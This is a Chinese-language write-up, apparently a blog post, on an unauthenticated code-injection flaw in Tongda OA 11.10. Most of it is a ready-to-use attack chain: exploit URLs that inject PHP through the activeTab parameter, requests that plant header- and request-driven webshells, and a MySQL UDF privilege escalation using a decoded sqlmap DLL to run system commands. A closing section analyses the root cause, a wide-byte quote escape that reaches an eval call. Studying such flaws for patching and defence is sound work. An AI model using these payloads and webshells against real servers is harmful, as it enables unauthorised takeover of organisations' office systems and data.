近期,通达OA 11.10版本被曝存在一处未授权任意文件上传漏洞,可利用该漏洞获取服务器权限。本文将从环境搭建、漏洞复现、权限提升及原理分析等方面,对此漏洞进行深入剖析。
环境搭建
从通达OA官方下载页面获取11.10版本安装包进行部署。
下载地址:https://cdndown.tongda2000.com/oa/2019/TDOA11.10.exe
成功安装后,可在系统关于页面查看确认版本信息。

漏洞复现
利用方式一:直接命令执行
通过构造特定的HTTP请求,可直接在目标服务器上执行PHP代码。以下请求利用漏洞执行了phpinfo()函数:
http://192.168.222.128/general/appbuilder/web/portal/gateway/getdata?activeTab=%E5%27%19,1%3D%3Eeval($_POST[c]))%3B/*&id=19&module=Carouselimage
访问上述URL后,使用工具发包即可看到命令执行结果。

利用方式二:分步写入Webshell
由于某些情况下无法直接写入带变量的PHP文件,因此可以采用分步策略。
第一步:写入无参Webshell
首先,利用漏洞写入一个无参数的Webshell文件 1.php,其内容为:
<?php @eval(next(getallheaders()));
构造的请求包如下:
GET /general/appbuilder/web/portal/gateway/getdata?activeTab=%e5%27,1%3d%3Efwrite(fopen(%22C:/MYOA/webroot/general/1.php%22,%22w+%22),%22%3C?php%20eval(next(getallheaders()));%22))%3b/*&id=266&module=Carouselimage HTTP/1.1
Host: 192.168.222.128
... (其他请求头)
发送请求后,确认文件写入成功。

第二步:利用Webshell写入新Shell
访问第一步生成的 1.php,并通过HTTP请求头传递要执行的PHP代码,例如写入一个新的Webshell文件 test1.php。
GET /general/1.php HTTP/1.1
Host: 192.168.121.147:8081
...
Cookie: file_put_contents('test1.php','<?php @eval($_REQUEST[1]);');
...

成功写入后,即可通过 test1.php 连接管理。
权限提升
通过上述方式获得的Webshell权限通常较低,无法执行系统命令。为了进一步控制服务器,需要进行提权操作。
1. 获取数据库密码
查看通达OA的数据库配置文件,可以获取MySQL数据库的连接密码。

2. 连接数据库
使用获取的密码,通过蚁剑等渗透测试工具连接至MySQL数据库。

3. MySQL UDF提权
确定MySQL版本后,进行UDF提权。不同版本的MySQL,其UDF DLL文件的存放路径不同:
- MySQL版本 > 5.1:存放在MySQL根目录(可通过
select @@basedir 查询)下的 /lib/plugin/ 目录。
- MySQL版本 < 5.1:存放在系统目录
c:\windows\system32 下。
SqlMap工具中集成了编码后的UDF文件,路径为 sqlmap-master\data\udf\mysql\windows\64\。需要使用 sqlmap-master\extra\cloak\cloak.py 脚本进行解密:
python cloak.py -d -i sqlmap-master\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_
将解密后的 lib_mysqludf_sys.dll 文件上传到目标服务器的 mysql/lib/plugin/ 目录下。

4. 执行提权命令
在MySQL中执行以下命令,创建自定义函数并执行系统命令:
create function sys_eval returns string soname 'lib_mysqludf_sys.dll';
select sys_eval("whoami");

成功执行后,即可获得更高的系统权限,完成MySQL数据库提权过程。
漏洞分析
漏洞核心代码位于 /general/appbuilder/modules/portal/controllers/GatewayController.php 的 actionGetdata 方法中。

该方法首先判断 id 参数是否存在,然后根据 module 参数的值调用对应的 GetData 与 toUTF8 方法。
在 /general/appbuilder/modules/portal/models/PortalComponent.php 的 GetData 方法中:

程序根据 id 查询数据库,并将外部传入的 $activeTab 变量值用于后续的数据分析。
在 /general/appbuilder/modules/portal/components/AppDesignComponents.php 的 data_analysis 方法中,$activeTab 参数被直接拼接进字符串并传入 eval 函数执行,这是导致远程代码执行的关键。

那么,攻击者是如何构造 payload 让单引号逃逸,从而闭合字符串并注入代码的呢?关键点在于 /general/appbuilder/modules/appdesign/models/AppUtils.php 的 toUTF8 方法。

其利用逻辑类似于宽字节注入。攻击者传入一个特殊构造的字符(如 %e5),该字符与系统为防御注入而添加的转义反斜杠 \(编码为 %5c)相结合,在后续的编码转换过程中被识别并“吞并”,从而使得原本被转义的单引号成功逃逸,最终拼接出可被 eval 执行的恶意代码字符串。